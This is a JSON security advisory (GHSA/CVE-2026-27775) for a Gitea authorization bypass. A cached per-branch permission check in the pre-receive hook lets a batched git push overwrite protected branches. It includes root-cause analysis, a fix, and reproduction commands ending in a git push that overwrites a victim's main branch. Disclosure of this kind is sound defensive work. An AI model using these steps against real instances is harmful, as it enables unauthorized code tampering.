{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:43:11Z",
    "nvd_published_at": "2026-07-03T21:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Header\n\n| Field               | Value                                                                               |\n| ------------------- | ----------------------------------------------------------------------------------- |\n| Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write |\n| Severity Rating     | High                                                                                |\n| Bug Category        | Authorization Bypass                                                                |\n| Location            | `routers/private/hook_pre_receive.go:55-64`, `CanWriteCode()`                       |\n| Affected Versions   | 1.25.5                                                                              |\n\n## Executive Summary\n\nThe pre-receive hook in Gitea evaluates the `CanMaintainerWriteToBranch` permission only once per `git push` session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with \"Allow edits from maintainers\" enabled) can batch-push that branch together with any other ref. The cached `true` from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including `main`), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.\n\n## Root Cause Analysis\n\n### Technical Description\n\nWhen processing a multi-ref `git push`, the `HookPreReceive` handler at `hook_pre_receive.go:107` iterates over all incoming refs. For each branch ref, `preReceiveBranch` (`:140`) updates `ctx.branchName` to the current branch (`:142`) and then calls `AssertCanWriteCode()` (`:144`).\n\n`CanWriteCode()` (`:55-64`) checks whether the user can write to the repository. On the first call, it evaluates `issues_model.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user)` and stores the result in a boolean flag (`canWriteCode`) with a guard (`checkedCanWriteCode`). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different `ctx.branchName`.\n\nThis means the permission check is branch-specific in its inputs but session-scoped in its caching \u2014 a classic check-vs-use divergence.\n\nA second contributing factor is the AGit-flow relaxation at `routers/web/repo/githttp.go:190-192` (and `routers/private/serv.go:337-338`), which downgrades the outer `receive-pack` access gate from `Write` to `Read` when `git.DefaultFeatures().SupportProcReceive` is true (git \u2265 2.29). This allows a user with only Read access on a repository to initiate a `receive-pack` session, deferring all authorization to the pre-receive hook \u2014 which contains the caching bug described above.\n\n### First Faulty Condition\n\n| File      | `routers/private/hook_pre_receive.go` |\n| --------- | ------------------------------------- |\n| Line      | 55-64                                 |\n| Condition | `CanWriteCode()` evaluates the branch-specific `CanMaintainerWriteToBranch` check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target. |\n\n### Trace Analysis\n\nThe following is the path from the attacker\u0027s `git push` to the authorization fault:\n\n1. `POST /{owner}/{repo}.git/git-receive-pack` \u2192 `routers/web/repo/githttp.go:437` (`ServiceReceivePack`) \u2192 `httpBase()` (`:60`)\n   - Access gate is downgraded from Write to Read at `:190-192` due to AGit-flow support.\n\n2. `git receive-pack` invokes the pre-receive hook \u2192 `cmd/hook.go:184` (`runHookPreReceive`) \u2192 `modules/private/hook.go:96` (`HookPreReceive`) \u2192 internal API \u2192 `routers/private/hook_pre_receive.go:107` (`HookPreReceive`)\n\n3. Loop at `:117` iterates over all refs in the batch. For each branch ref, `preReceiveBranch` (`:140`) sets `ctx.branchName` at `:142`.\n\n4. **Fault**: `AssertCanWriteCode()` (`:144`) \u2192 `CanWriteCode()` (`:55-64`).\n   - First ref (`feature-branch`): `checkedCanWriteCode` is false \u2192 evaluates `CanMaintainerWriteToBranch(ctx, userPerm, \"feature-branch\", user)` \u2192 returns `true` (legitimate grant) \u2192 caches result.\n   - Second ref (`main`): `checkedCanWriteCode` is already true \u2192 returns cached `true` **without re-evaluating** against `\"main\"`.\n\n5. Hook returns 200 \u2192 `git receive-pack` accepts all refs \u2192 `main` is overwritten in the victim\u0027s repository.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector               | Network                                                                             |\n| --------------------------- | ----------------------------------------------------------------------------------- |\n| Authentication required     | Low                                                                                 |\n| User interaction required   | Required. Victim must enable \"Allow edits from maintainers\" on their PR             |\n| Reachable in default config | Yes                                                                                 |\n| Entry point                 | `git push` over smart-HTTP or SSH with multiple refs in a single operation          |\n\nThe attacker gains full write access to the victim\u0027s repository \u2014 equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.\n\n### Reproduction Steps\n\n**Environment**\nThe issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.\n\n**Prerequisites:** \n* a Gitea instance with two users, `attacker` and `victim`.\n\n```bash\n# 1. Attacker creates a repository (e.g., a popular open-source project)\ncurl -X POST \"http://attacker:pw@\u003cgitea\u003e/api/v1/user/repos\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"project\", \"auto_init\": true}\u0027\n\n# 2. Victim forks attacker\u0027s repository (standard contributor workflow)\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/attacker/project/forks\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n\n# 3. Victim creates a feature branch on their fork and commits a change\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/branches\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"new_branch_name\": \"feature-branch\", \"old_branch_name\": \"main\"}\u0027\n\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/contents/contribution.txt\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"message\": \"Add contribution\", \"content\": \"\u0027$(echo -n \"victim contribution\" | base64)\u0027\", \"branch\": \"feature-branch\"}\u0027\n\n# 4. Victim opens a PR from their feature branch into attacker/project\n#    with \"Allow edits from maintainers\" enabled\ncurl -X POST \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/attacker/project/pulls\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"title\": \"Feature PR\", \"head\": \"victim:feature-branch\", \"base\": \"main\", \"allow_maintainer_edit\": true}\u0027\n```\n\nAt this point, the attacker (as maintainer of the base repo `attacker/project`) has a per-branch write grant on the victim\u0027s fork, scoped to the `feature-branch` branch only.\n\n**Attack**\n\nThe attacker works from their own repo (`attacker/project`)\n```bash\n# 5. Attacker clones their own repo\ngit clone http://attacker:pw@\u003cgitea\u003e/attacker/project.git \u0026\u0026 cd project\n\n# 6. Attacker fetches the victim\u0027s PR branch\ngit fetch -u http://\u003cgitea\u003e/victim/project feature-branch:victim-feature-branch\ngit checkout victim-feature-branch\n\n# 7. Attacker adds a commit to the PR branch\necho \"legitimate change\" \u003e feature.txt \u0026\u0026 git add . \u0026\u0026 git commit -m \"PR update\"\n\n# 8. Attacker also prepares a malicious commit on main\ngit checkout main\necho \"MALICIOUS CONTENT\" \u003e PWNED \u0026\u0026 git add . \u0026\u0026 git commit -m \"pwned\"\n\n# 9. Attacker pushes both refs to the victim\u0027s fork in a single operation \u2014 this is the exploit\ngit push http://attacker:pw@\u003cgitea\u003e/victim/project.git victim-feature-branch:feature-branch main:main\n\n# 10. The change on both refs is visible regardless of PR status\n```\n\n**Expected result**: \n`main` should be rejected (\"User permission denied for writing\").\n\n**Actual result**: \nBoth refs are accepted. `victim/project:main` now contains the attacker\u0027s malicious commit.\n\n```bash\n# Verify: victim checks their fork\u0027s main branch\ncurl \"http://victim:pw@\u003cgitea\u003e/api/v1/repos/victim/project/contents/PWNED?ref=main\"\n# Returns attacker\u0027s \"MALICIOUS CONTENT\" \u2014 main has been overwritten\n```\n\nThe same technique also works for pushing arbitrary tags (`refs/tags/*`) and creating new branches.\n\n## Recommended Fix\n\nRemove the caching in `CanWriteCode()` \u2014 the `CanMaintainerWriteToBranch` check must be evaluated for every ref in the batch, not cached after the first call. The `checkedCanWriteCode` / `canWriteCode` fields on `preReceiveContext` and the guard in `CanWriteCode()` at `hook_pre_receive.go:55-64` should be removed, so the permission is evaluated fresh each time `preReceiveBranch` or `preReceiveTag` calls it. `loadPusherAndPermission()` already has its own caching (`loadedPusher`), so the per-call cost is limited to the `CanMaintainerWriteToBranch` query.\n\nSee [diff.patch](https://github.com/user-attachments/files/28831842/diff.patch) for the proposed fix.\n\nPatch provenance: AI-generated, human-reviewed.\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by **Adrian Denkiewicz** at **Doyensec** in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: **Doyensec in collaboration with Claude and Anthropic Research**",
  "id": "GHSA-649p-mmhf-85c7",
  "modified": "2026-07-21T21:43:11Z",
  "published": "2026-07-21T21:43:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-649p-mmhf-85c7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27775"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write"
}